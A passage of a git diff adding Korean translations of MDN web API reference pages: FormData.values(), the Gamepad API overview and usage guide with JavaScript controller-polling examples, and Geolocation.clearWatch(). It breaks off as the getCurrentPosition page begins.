+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/formdata/values/index.html b/files/ko/web/api/formdata/values/index.html
new file mode 100644
index 0000000000..9a28786ad6
--- /dev/null
+++ b/files/ko/web/api/formdata/values/index.html
@@ -0,0 +1,70 @@
+---
+title: FormData.values()
+slug: Web/API/FormData/values
+translation_of: Web/API/FormData/values
+---
+<p>{{APIRef("XMLHttpRequest")}}</p>
+
+<p><code><strong>FormData.values()</strong></code> 메서드는 이 객체에 포함 된 모든 value를 통과하는 {{jsxref("Iteration_protocols",'iterator')}}를 반환합니다. value는 {{domxref("USVString")}} 또는 {{domxref("Blob")}} 객체입니다.</p>
+
+<div class="note">
+<p><strong>메모</strong>: 이 메서드는 웹워커<a href="/ko/docs/Web/API/Web_Workers_API">(Web Workers)</a>에서도 사용할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">formData.values();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[7]">// Create a test FormData object
+var formData = new FormData();
+formData.append('key1', 'value1');
+formData.append('key2', 'value2');
+
+// Display the values
+for (var value of formData.values()) {
+ console.log(value);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>value1
+value2</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator&lt;&gt;)')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.FormData.values")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Using FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ko/web/api/gamepad_api/index.html b/files/ko/web/api/gamepad_api/index.html
new file mode 100644
index 0000000000..7a4fc0d2e7
--- /dev/null
+++ b/files/ko/web/api/gamepad_api/index.html
@@ -0,0 +1,94 @@
+---
+title: Gamepad API
+slug: Web/API/Gamepad_API
+tags:
+ - API
+ - Experimental
+ - Gamepad API
+ - Games
+ - Overview
+translation_of: Web/API/Gamepad_API
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}</div>
+
+<p><strong>게임패드 API</strong>는 게임패드와 다른 게임 제어장치의 신호에 쉬운 일관된 방식으로 접근하고 응답하는 개발자들을 위한 수단이다. 게임패드 API는 세 가지 인터페이스와연결, 연결 해제되고 게임 패드 자체에 대한 다른 정보에 접근하고 어떤 버튼과 다른 조작 장치들이 현재 눌린 것에 응답하는 두 가지 이벤트 그리고 한 가지 특수 기능이 포함되어 있다. </p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("Gamepad")}}</dt>
+ <dd>컴퓨터에 연결된 게임패드나 조작장치를 표현한다.</dd>
+ <dt>{{domxref("GamepadButton")}}</dt>
+ <dd>연결된 조작장치들 중 하나에 있는 버튼을 표현한다.</dd>
+ <dt>{{domxref("GamepadEvent")}}</dt>
+ <dd>게임 패드와 연관된 이벤트를 나타내는 이벤트 객체이다.</dd>
+</dl>
+
+<h3 id="게임패드_확장기능_실험">게임패드 확장기능 실험</h3>
+
+<dl>
+ <dt>{{domxref("GamepadHapticActuator")}}</dt>
+ <dd>Represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.</dd>
+ <dt>{{domxref("GamepadPose")}}</dt>
+ <dd>Represents the pose of a controller (e.g. position and orientation in 3D space) in the case of a <a href="/en-US/docs/Web/API/WebVR_API">WebVR</a> controller.</dd>
+</dl>
+
+<p>다음 정보를엑세스할 수 있는 <a href="/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">게임패드 인터페이스 확장기능</a> 더보기</p>
+
+<h3 id="다른_인터페이스로_확장">다른 인터페이스로 확장</h3>
+
+<h4 id="Navigator">Navigator</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.getGamepads()")}}</dt>
+ <dd>An extension to the {{domxref("Navigator")}} object that returns an array of {{domxref("Gamepad")}} objects, one for each connected gamepad.</dd>
+</dl>
+
+<h4 id="Window_events">Window events</h4>
+
+<dl>
+ <dt>{{domxref("Window.ongamepadconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).</dd>
+ <dt>{{domxref("Window.ongamepaddisconnected")}}</dt>
+ <dd>Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).</dd>
+</dl>
+
+<h2 id="튜토리얼과_가이드">튜토리얼과 가이드</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad_API/Using_the_Gamepad_API">Using the Gamepad API</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Controls_Gamepad_API">Implementing controls using the Gamepad API</a></li>
+</ul>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("GamepadExtensions")}}</td>
+ <td>{{Spec2("GamepadExtensions")}}</td>
+ <td>Defines the {{anch("Experimental Gamepad extensions")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("Gamepad", "", "The Gamepad API specification")}}</td>
+ <td>{{Spec2("Gamepad")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a> by Ted Mielczarek and Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html
new file mode 100644
index 0000000000..10f1a4d818
--- /dev/null
+++ b/files/ko/web/api/gamepad_api/using_the_gamepad_api/index.html
@@ -0,0 +1,342 @@
+---
+title: Using the Gamepad API
+slug: Web/API/Gamepad_API/Using_the_Gamepad_API
+translation_of: Web/API/Gamepad_API/Using_the_Gamepad_API
+---
+<p><span class="seoSummary">HTML5 introduced many of the necessary components for rich, interactive game development. Technologies like <code>&lt;canvas&gt;</code>, WebGL, <code>&lt;audio&gt;</code>, and <code>&lt;video&gt;</code>, along with JavaScript implementations, have matured to the point where they can now support many tasks previously requiring native code. The Gamepad API is a way for developers and designers to access and use gamepads and other game controllers.</span></p>
+
+<p>The <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> introduces new events on the {{ domxref("Window") }} object for reading gamepad and controller (hereby referred to as <em>gamepad</em>) state. In addition to these events, the API also adds a {{ domxref("Gamepad") }} object, which you can use to query the state of a connected gamepad, and a {{ domxref("navigator.getGamepads()") }} method which you can use to get a list of gamepads known to the page.</p>
+
+<h2 id="conntecting" name="conntecting">게임패드로 연결</h2>
+
+<p>새로운 게임패드가 컴퓨터에 연결될 때, 포커스된 페이지는 {{ event("gamepadconnected") }} 이벤트를 받습니다. 페이지가 로드되었을 때 게임패드가 이미 연결되어 있다면, {{ event("gamepadconnected") }} 이벤트가 유저의 버튼 입력 혹은 마우스 움직일 때 포커스된 페이지에 디스패치됩니다.</p>
+
+<div class="blockIndicator geckoVersionNote">
+<p>In Firefox, gamepads are only exposed to a page when the user interacts with one with the page visible. This helps prevent gamepads being used for fingerprinting the user. Once one gamepad has been interacted with, other gamepads that are connected will automatically be visible.</p>
+</div>
+
+<p>{{event("gamepadconnected")}} 이벤트를 이렇게 이용할 수 있습니다:</p>
+
+<pre class="brush: js;">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});
+</pre>
+
+<p>각 게임패드는 유니크한 ID와 연관되어 있는데, 이는 {{domxref("GamepadEvent.gamepad", "gamepad")}} 이벤트의 속성에서 사용가능합니다.</p>
+
+<h2 id="disconnecting" name="disconnecting">게임패드 연결해제</h2>
+
+<p>When a gamepad is disconnected, and if a page has previously received data for that gamepad (e.g. {{ event("gamepadconnected") }}), a second event is dispatched to the focused window, {{ event("gamepaddisconnected") }}:</p>
+
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+  console.log("Gamepad disconnected from index %d: %s",
+  e.gamepad.index, e.gamepad.id);
+});</pre>
+
+<p>The gamepad's {{domxref("Gamepad.index", "index")}} property will be unique per-device connected to the system, even if multiple controllers of the same type are used. The <code>index</code> property also functions as the index into the {{jsxref("Array")}} returned by {{ domxref("Navigator.getGamepads()") }}.</p>
+
+<pre class="brush: js">var gamepads = {};
+
+function gamepadHandler(event, connecting) {
+  var gamepad = event.gamepad;
+ // Note:
+ // gamepad === navigator.getGamepads()[gamepad.index]
+
+  if (connecting) {
+    gamepads[gamepad.index] = gamepad;
+  } else {
+    delete gamepads[gamepad.index];
+  }
+}
+
+window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false);
+window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false);
+</pre>
+
+<p>This previous example also demonstrates how the <code>gamepad</code> property can be held after the event has completed — a technique we will use for device state querying later.</p>
+
+<h2 id="querying" name="querying">게임패드 오브젝트에 질의</h2>
+
+<p>As you can see, the <strong>gamepad</strong> events discussed above include a <code>gamepad</code> property on the event object, which returns a {{ domxref("Gamepad") }} object. We can use this in order to determine which gamepad (i.e., its ID) had caused the event, since multiple gamepads might be connected at once. We can do much more with the {{ domxref("Gamepad") }} object, including holding a reference to it and querying it to find out which buttons and axes are being pressed at any one time. Doing so is often desirable for games or other interactive web pages that need to know the state of a gamepad now vs. the next time an event fires.</p>
+
+<p>Performing such checks tends to involve using the {{ domxref("Gamepad") }} object in conjunction with an animation loop (e.g., {{ domxref("Window.requestAnimationFrame","requestAnimationFrame") }}), where developers want to make decisions for the current frame based on the state of the gamepad or gamepads.</p>
+
+<p>The {{domxref("Navigator.getGamepads()")}} method returns an array of all devices currently visible to the webpage, as {{ domxref("Gamepad") }} objects (the first value is always <code>null</code>, so <code>null</code> will be returned if there are no gamepads connected.) This can then be used to get the same information. For example, the first code example above you be rewritten as shown below:</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+ var gp = navigator.getGamepads()[e.gamepad.index];
+ console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+ gp.index, gp.id,
+ gp.buttons.length, gp.axes.length);
+});</pre>
+
+<p>The {{ domxref("Gamepad") }} object's properties are as follows:</p>
+
+<ul>
+ <li><code>id</code>: A string containing some information about the controller. This is not strictly specified, but in Firefox it will contain three pieces of information separated by dashes (<code>-</code>): two 4-digit hexadecimal strings containing the USB vendor and product id of the controller, and the name of the controller as provided by the driver. This information is intended to allow you to find a mapping for the controls on the device as well as display useful feedback to the user.</li>
+ <li><code>index</code>: An integer that is unique for each gamepad currently connected to the system. This can be used to distinguish multiple controllers. Note that disconnecting a device and then connecting a new device may reuse the previous index.</li>
+ <li><code>mapping</code>: A string indicating whether the browser has remapped the controls on the device to a known layout. Currently there is only one supported known layout — the <a href="https://dvcs.w3.org/hg/gamepad/raw-file/default/gamepad.html#remapping">standard gamepad</a>. If the browser is able to map controls on the device to that layout the <code>mapping</code> property will be set to the string <code>standard</code>.</li>
+ <li><code>connected</code>: A boolean indicating whether the gamepad is still connected to the system. If this is so the value is <code>True</code>; if not, it is <code>False</code>.</li>
+ <li><code>buttons</code>: An array of {{ domxref("GamepadButton") }} objects representing the buttons present on the device. Each {{ domxref("GamepadButton") }} has a <code>pressed</code> and a <code>value</code> property:
+ <ul>
+ <li>The <code>pressed</code> property is a boolean indicating whether the button is currently pressed (<code>true</code>) or unpressed (<code>false</code>).</li>
+ <li>The <code>value</code> property is a floating point value used to enable representing analog buttons, such as the triggers on many modern gamepads. The values are normalized to the range 0.0..1.0, with 0.0 representing a button that is not pressed, and 1.0 representing a button that is fully pressed.</li>
+ </ul>
+ </li>
+ <li><code>axes</code>: An array representing the controls with axes present on the device (e.g. analog thumb sticks). Each entry in the array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0).</li>
+ <li><code>timestamp</code>: This returns a {{ domxref("DOMHighResTimeStamp") }} representing the last time the data for this gamepad was updated, allowing developers to determine if the <code>axes</code> and <code>button</code> data have been updated from the hardware. The value must be relative to the <code>navigationStart</code> attribute of the {{ domxref("PerformanceTiming") }} interface. Values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. Note that this property is not currently supported in Firefox.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: The Gamepad object is available on the {{ event("gamepadconnected") }} event rather than the {{ domxref("Window") }} object itself, for security reasons. Once we have a reference to it, we can query its properties for information about the current state of the gamepad. Behind the scenes, this object will be updated every time the gamepad's state changes.</p>
+</div>
+
+<h3 id="버튼_정보_이용하기">버튼 정보 이용하기</h3>
+
+<p>Let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. You can <a href="http://chrisdavidmills.github.io/gamepad-buttons/">view the demo live</a>, and <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master">find the source code</a> on Github.</p>
+
+<p>To start with, we declare some variables: The <code>gamepadInfo</code> paragraph that the connection info is written into, the <code>ball</code> that we want to move, the <code>start</code> variable that acts as the ID for <code>requestAnimation Frame</code>, the <code>a</code> and <code>b</code> variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the {{ domxref("Window.requestAnimationFrame", "requestAnimationFrame()") }} and {{ domxref("Window.cancelAnimationFrame", "cancelAnimationFrame()") }} cross browser forks.</p>
+
+<pre class="brush: js">var gamepadInfo = document.getElementById("gamepad-info");
+var ball = document.getElementById("ball");
+var start;
+var a = 0;
+var b = 0;
+</pre>
+
+<p>Next we use the {{event("gamepadconnected")}} event to check for a gamepad being connected. When one is connected, we grab the gamepad using {{ domxref("Navigator.getGamepads()") }}<code>[0]</code>, print information about the gamepad into our gamepad info <code>div</code>, and fire the <code>gameLoop()</code> function that starts the whole ball movement process up.</p>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+ var gp = navigator.getGamepads()[e.gamepad.index];
+ gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+
+ gameLoop();
+});</pre>
+
+<p>Now we use the {{Event("gamepaddisconnected")}} event to check if the gamepad is disconnected again. If so, we stop the {{DOMxRef("Window.requestAnimationFrame", "requestAnimationFrame()")}} loop (see below) and revert the gamepad information back to what it was originally.</p>
+
+<pre class="brush: js">window.addEventListener("gamepaddisconnected", function(e) {
+ gamepadInfo.innerHTML = "Waiting for gamepad.";
+
+ cancelRequestAnimationFrame(start);
+});</pre>
+
+<p>Chrome does things differently here. Instead of constantly storing the gamepad's latest state in a variable it only stores a snapshot, so to do the same thing in Chrome you have to keep polling it and then only use the {{ domxref("Gamepad") }} object in code when it is available. We have done this below using {{ domxref("Window.setInterval()") }}; once the object is available the gamepad info is outputted, the game loop is started, and the interval is cleared using {{ domxref("Window.clearInterval()") }}. Note that in older versions of Chrome {{ domxref("Navigator.getGamepads()") }} is implemented with a <code>webkit</code> prefix. We attempt to detect and handle both the prefixed version and the standard version of the function for backwards compatibility.</p>
+
+<pre class="brush: js">var interval;
+
+if (!('ongamepadconnected' in window)) {
+ // No gamepad events available, poll instead.
+ interval = setInterval(pollGamepads, 500);
+}
+
+function pollGamepads() {
+ var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+ for (var i = 0; i &lt; gamepads.length; i++) {
+ var gp = gamepads[i];
+ if (gp) {
+ gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id +
+ ". It has " + gp.buttons.length + " buttons and " + gp.axes.length + " axes.";
+ gameLoop();
+ clearInterval(interval);
+ }
+ }
+}</pre>
+
+<p>Now on to the main game loop. In each execution of the loop we check if one of four buttons is being pressed; if so, we update the values of the <code>a</code> and <code>b</code> movement variables appropriately, then update the {{ cssxref("left") }} and {{ cssxref("top") }} properties, changing their values to the current values of <code>a</code> and <code>b</code> respectively. This has the effect of moving the ball around the screen.  In current versions of Chrome (version 34 as of this writing) the button values are stored as an array of double values, instead of {{ domxref("GamepadButton") }} objects. This is fixed in development versions.</p>
+
+<p>After all this is done, we use our <font face="Consolas, Monaco, Andale Mono, monospace">requestAnimationFrame()</font> to request the next animation frame, running <code>gameLoop()</code> again.</p>
+
+<pre class="brush: js">function buttonPressed(b) {
+<span class="k"> if</span> <span class="p">(</span><span class="k">typeof</span><span class="p">(</span><span class="nx">b</span><span class="p">)</span> <span class="o">==</span> <span class="s2">"object"</span><span class="p">)</span> <span class="p">{</span>
+<span class="nx"> return</span> <span class="nx">b</span><span class="p">.</span><span class="nx">pressed</span><span class="p">;</span>
+<span class="nx"> </span><span class="p">}</span>
+<span class="p"> return</span> <span class="nx">b</span> <span class="o">==</span> <span class="mf">1.0</span><span class="p">;</span>
+}
+
+function gameLoop() {
+ var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads : []);
+ if (!gamepads) {
+ return;
+ }
+
+ var gp = gamepads[0];
+ if (buttonPressed(gp.buttons[0])) {
+ b--;
+ } else if (buttonPressed(gp.buttons[2])) {
+ b++;
+ }
+ if (buttonPressed(gp.buttons[1])) {
+ a++;
+ } else if (buttonPressed(gp.buttons[3])) {
+ a--;
+ }
+
+ ball.style.left = a * 2 + "px";
+ ball.style.top = b * 2 + "px";
+
+ start = requestAnimationFrame(gameLoop);
+}</pre>
+
+<h3 id="Using_axes_information">Using axes information</h3>
+
+<p><strong>TBD (basically the same, except using axes[i] rather than button[i].value for both Firefox and Chrome.)</strong></p>
+
+<h2 id="Complete_example_Displaying_gamepad_state">Complete example: Displaying gamepad state</h2>
+
+<p>This example shows how to use the {{ domxref("Gamepad") }} object, as well as the {{ event("gamepadconnected") }} and {{ event("gamepaddisconnected") }} events in order to display the state of all gamepads connected to the system. You can find a <a href="http://luser.github.io/gamepadtest/">working demo</a> and look at the <a href="https://github.com/luser/gamepadtest">full source code</a> on Github.</p>
+
+<pre class="brush: js">var haveEvents = 'ongamepadconnected' in window;
+var controllers = {};<span style="font-size: 1rem;">
+
+</span><span style="font-size: 1rem;">function connecthandler(e) {
+</span><span style="font-size: 1rem;">  addgamepad(e.gamepad);
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function addgamepad(gamepad) {
+</span><span style="font-size: 1rem;">  controllers[gamepad.index] = gamepad;
+
+ var d = document.createElement("div");
+</span><span style="font-size: 1rem;"> d.setAttribute("id", "controller" + gamepad.index);
+
+</span><span style="font-size: 1rem;"> var t = document.createElement("h1");
+</span><span style="font-size: 1rem;">  t.appendChild(document.createTextNode("gamepad: " + gamepad.id));
+</span><span style="font-size: 1rem;">  d.appendChild(t);
+
+</span><span style="font-size: 1rem;">  var b = document.createElement("div");
+</span><span style="font-size: 1rem;">  b.className = "buttons";
+</span><span style="font-size: 1rem;">  for (var i = 0; i &lt; gamepad.buttons.length; i++) {
+</span><span style="font-size: 1rem;">    var e = document.createElement("span");
+</span><span style="font-size: 1rem;">    e.className = "button";
+</span><span style="font-size: 1rem;">    //e.id = "b" + i;
+</span><span style="font-size: 1rem;">    e.innerHTML = i;
+</span><span style="font-size: 1rem;">    b.appendChild(e);
+</span><span style="font-size: 1rem;">  }
+
+</span><span style="font-size: 1rem;">  d.appendChild(b);
+
+</span><span style="font-size: 1rem;">  var a = document.createElement("div");
+</span><span style="font-size: 1rem;">  a.className = "axes";
+
+</span><span style="font-size: 1rem;">  for (var i = 0; i &lt; gamepad.axes.length; i++) {
+</span><span style="font-size: 1rem;">    var p = document.createElement("progress");
+</span><span style="font-size: 1rem;">    p.className = "axis";
+</span><span style="font-size: 1rem;">    //p.id = "a" + i;
+</span><span style="font-size: 1rem;">    p.setAttribute("max", "2");
+</span><span style="font-size: 1rem;">    p.setAttribute("value", "1");
+</span><span style="font-size: 1rem;">    p.innerHTML = i;
+</span><span style="font-size: 1rem;">    a.appendChild(p);
+</span><span style="font-size: 1rem;">  }
+
+</span><span style="font-size: 1rem;">  d.appendChild(a);
+
+ // See </span>https://github.com/luser/gamepadtest/blob/master/index.html<span style="font-size: 1rem;">
+ var start = </span><span style="font-size: 1rem;">document.getElementById("start");</span>
+<span style="font-size: 1rem;"> if (start) {
+</span><span style="font-size: 1rem;">   start.style.display = "none";
+ }
+</span><span style="font-size: 1rem;">
+  document.body.appendChild(d);
+</span><span style="font-size: 1rem;">  requestAnimationFrame(updateStatus);
+</span><span style="font-size: 1rem;">}
+</span><span style="font-size: 1rem;">
+function disconnecthandler(e) {
+</span><span style="font-size: 1rem;">  removegamepad(e.gamepad);
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function removegamepad(gamepad) {
+</span><span style="font-size: 1rem;">  var d = document.getElementById("controller" + gamepad.index);
+</span><span style="font-size: 1rem;">  document.body.removeChild(d);
+</span><span style="font-size: 1rem;">  delete controllers[gamepad.index];
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function updateStatus() {
+</span><span style="font-size: 1rem;">  if (!haveEvents) {
+</span><span style="font-size: 1rem;">    scangamepads();
+</span><span style="font-size: 1rem;">  }
+
+ var i = 0;
+ var j;
+
+</span><span style="font-size: 1rem;">  for (j in controllers) {
+</span><span style="font-size: 1rem;">    var controller = controllers[j];
+</span><span style="font-size: 1rem;">    var d = document.getElementById("controller" + j);
+</span><span style="font-size: 1rem;">    var buttons = d.getElementsByClassName("button");
+</span><span style="font-size: 1rem;">
+    for (i = 0; i &lt; controller.buttons.length; i++) {
+</span><span style="font-size: 1rem;">      var b = buttons[i];
+</span><span style="font-size: 1rem;">      var val = controller.buttons[i];
+</span><span style="font-size: 1rem;">      var pressed = val == 1.0;
+</span><span style="font-size: 1rem;">      if (typeof(val) == "object") {
+</span><span style="font-size: 1rem;">        pressed = val.pressed;
+</span><span style="font-size: 1rem;">        val = val.value;
+</span><span style="font-size: 1rem;">      }
+
+</span><span style="font-size: 1rem;">      var pct = Math.round(val * 100) + "%";
+</span><span style="font-size: 1rem;">      b.style.backgroundSize = pct + " " + pct;
+
+</span><span style="font-size: 1rem;">      if (pressed) {
+</span><span style="font-size: 1rem;">        b.className = "button pressed";
+</span><span style="font-size: 1rem;">      } else {
+</span><span style="font-size: 1rem;">        b.className = "button";
+</span><span style="font-size: 1rem;">      }
+</span><span style="font-size: 1rem;">    }
+
+</span><span style="font-size: 1rem;">    var axes = d.getElementsByClassName("axis");
+</span><span style="font-size: 1rem;">    for (i = 0; i &lt; controller.axes.length; i++) {
+</span><span style="font-size: 1rem;">      var a = axes[i];
+</span><span style="font-size: 1rem;">      a.innerHTML = i + ": " + controller.axes[i].toFixed(4);
+</span><span style="font-size: 1rem;">      a.setAttribute("value", controller.axes[i] + 1);
+</span><span style="font-size: 1rem;">    }
+</span><span style="font-size: 1rem;">  }
+
+</span><span style="font-size: 1rem;">  requestAnimationFrame(updateStatus);
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">function scangamepads() {
+</span><span style="font-size: 1rem;"> var gamepads = navigator.getGamepads ? navigator.getGamepads() : (navigator.webkitGetGamepads ? navigator.webkitGetGamepads() : []);
+</span><span style="font-size: 1rem;">  for (var i = 0; i &lt; gamepads.length; i++) {
+</span><span style="font-size: 1rem;">    if (gamepads[i]) {
+</span><span style="font-size: 1rem;">      if (gamepads[i].index in controllers) {
+</span><span style="font-size: 1rem;">        </span><span style="font-size: 1rem;">controllers[gamepads[i].index] = gamepads[i];
+</span><span style="font-size: 1rem;">      } else {
+</span><span style="font-size: 1rem;">        </span><span style="font-size: 1rem;">addgamepad(gamepads[i]);
+</span><span style="font-size: 1rem;">      }
+</span><span style="font-size: 1rem;">    }
+</span><span style="font-size: 1rem;">  }
+</span><span style="font-size: 1rem;">}
+
+</span><span style="font-size: 1rem;">
+window.addEventListener("gamepadconnected", connecthandler);
+</span><span style="font-size: 1rem;">window.addEventListener("gamepaddisconnected", disconnecthandler);
+
+</span><span style="font-size: 1rem;">if (!haveEvents) {
+</span><span style="font-size: 1rem;">  setInterval(scangamepads, 500);
+</span><span style="font-size: 1rem;">}</span></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}</td>
+ <td>{{Spec2("Gamepad")}}</td>
+ <td>Initial defintion</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Gamepad")}}</p>
diff --git a/files/ko/web/api/geolocation/clearwatch/index.html b/files/ko/web/api/geolocation/clearwatch/index.html
new file mode 100644
index 0000000000..b58c9b7738
--- /dev/null
+++ b/files/ko/web/api/geolocation/clearwatch/index.html
@@ -0,0 +1,92 @@
+---
+title: Geolocation.clearWatch()
+slug: Web/API/Geolocation/clearWatch
+tags:
+ - API
+ - Geolocation API
+ - Method
+ - Reference
+ - Secure context
+ - 위치
+ - 위치정보
+translation_of: Web/API/Geolocation/clearWatch
+---
+<div>{{securecontext_header}}{{ APIref("Geolocation API") }}</div>
+
+<p><strong><code>Geolocation.clearWatch()</code></strong> 메서드는 {{domxref("Geolocation.watchPosition()")}}로 등록한 위치 변화 감지 콜백을 해제합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">navigator.geolocation.clearWatch(<em>id</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>id</code></dt>
+ <dd>{{domxref("Geolocation.watchPosition()")}} 메서드가 반환하는 콜백 ID.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var id, target, option;
+
+function success(pos) {
+ var crd = pos.coords;
+
+ if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+ console.log('Congratulation, you reach the target');
+ navigator.geolocation.clearWatch(id);
+ }
+};
+
+function error(err) {
+ console.warn('ERROR(' + err.code + '): ' + err.message);
+};
+
+target = {
+ latitude : 0,
+ longitude: 0,
+}
+
+options = {
+ enableHighAccuracy: false,
+ timeout: 5000,
+ maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Geolocation')}}</td>
+ <td>{{Spec2('Geolocation')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Geolocation.clearWatch")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Geolocation_API/Using_the_Geolocation_API">Geolocation API 사용하기</a></li>
+ <li>{{domxref("Geolocation")}}</li>
+ <li>{{domxref("Geolocation.watchPosition()")}}</li>
+ <li>{{domxref("Geolocation.getCurrentPosition()")}}</li>
+</ul>
diff --git a/files/ko/web/api/geolocation/getcurrentposition/index.html b/files/ko/web/api/geolocation/getcurrentposition/index.html
new file mode 100644
index 0000000000..ffe4aeae2f
--- /dev/null
+++ b/files/ko/web/api/geolocation/getcurrentposition/index.html
@@ -0,0 +1,88 @@
+---
+title: Geolocation.getCurrentPosition()
+slug: Web/API/Geolocation/getCurrentPosition
+tags:
+ - API
+ - Geolocation
